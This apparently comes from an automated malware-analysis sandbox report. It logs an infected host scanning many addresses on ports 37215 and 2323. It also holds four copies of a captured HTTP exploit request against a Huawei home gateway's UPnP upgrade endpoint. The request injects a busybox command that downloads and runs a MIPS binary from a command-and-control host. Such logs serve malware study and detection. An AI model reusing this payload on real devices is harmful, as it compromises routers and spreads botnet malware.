Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.200.9.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.172.135.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.218.24.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.36.175.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.106.181.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.154.21.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.107.9.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.144.72.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.12.44.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.88.98.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.220.1.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.250.26.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.16.51.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.193.154.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.90.71.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.181.101.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.137.103.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.142.221.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.48.139.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.230.32.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.121.85.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.154.190.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.107.16.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.93.73.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.33.102.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.191.76.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.209.67.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.230.20.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.172.7.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.179.238.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.66.188.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 1.208.64.84:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 115.208.141.64:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 74.176.75.97:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 66.39.152.33:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 182.215.152.110:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 63.186.0.211:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 104.41.39.23:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 141.15.166.176:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 181.118.65.133:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 9.255.26.170:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 133.167.80.38:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 79.13.189.169:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 130.223.129.219:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 66.188.177.166:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 117.192.63.101:2323
Source: global traffic	TCP traffic: 192.168.2.14:48168 -> 76.241.132.158:2323
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.68.227.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.140.46.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.132.73.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.253.88.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.70.45.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.17.198.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.15.49.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.204.221.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.0.47.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.112.26.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.75.229.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.172.190.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.52.251.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.41.106.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.231.162.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.131.29.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.57.214.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.8.244.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.32.252.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.18.97.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.26.133.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.231.170.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.78.133.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.126.211.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.24.137.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.202.119.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.77.7.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.241.174.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.238.225.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.123.191.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.153.204.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.58.118.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.153.39.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.144.191.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.207.241.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.36.42.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.233.118.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.113.7.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.53.65.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.168.97.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.234.186.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.235.88.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.68.227.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.103.46.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.140.115.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.143.116.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.117.14.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.175.91.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.206.105.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.248.96.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.52.19.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.183.75.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.63.167.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.17.167.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.182.89.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.204.90.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.131.205.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.178.157.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.227.245.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.165.210.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.29.84.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.85.222.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.116.148.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.66.209.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.33.169.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.230.239.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.251.46.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.43.131.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.181.129.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.136.207.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.119.199.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.181.150.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.241.14.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.170.162.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.128.187.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.142.153.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.190.116.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.100.254.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.193.228.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.139.235.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.50.111.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.69.121.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.7.31.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.68.4.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.251.188.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.233.248.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.63.148.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.113.55.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.246.194.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.246.167.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.232.59.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.164.205.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.49.221.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.113.171.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.236.126.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.54.204.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.154.185.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.114.127.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.175.163.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.248.71.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.43.246.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.204.192.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.221.142.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.78.104.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.159.160.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.142.144.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.254.205.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.4.117.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.31.115.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.158.112.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.166.180.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.32.65.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.120.207.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.85.35.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.119.250.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.75.113.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.101.10.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.150.181.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.175.244.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.103.135.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.185.126.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.126.160.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.4.93.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.222.78.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.76.230.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.60.24.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.120.66.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.103.36.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.72.109.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.134.252.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.76.143.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.94.109.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.128.247.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.113.16.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.110.146.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.171.200.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.251.163.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.170.201.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.219.120.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.151.123.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.5.202.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 156.6.130.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.253.81.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.33.226.205:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.205.109.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 197.199.96.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:48169 -> 41.69.195.162:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
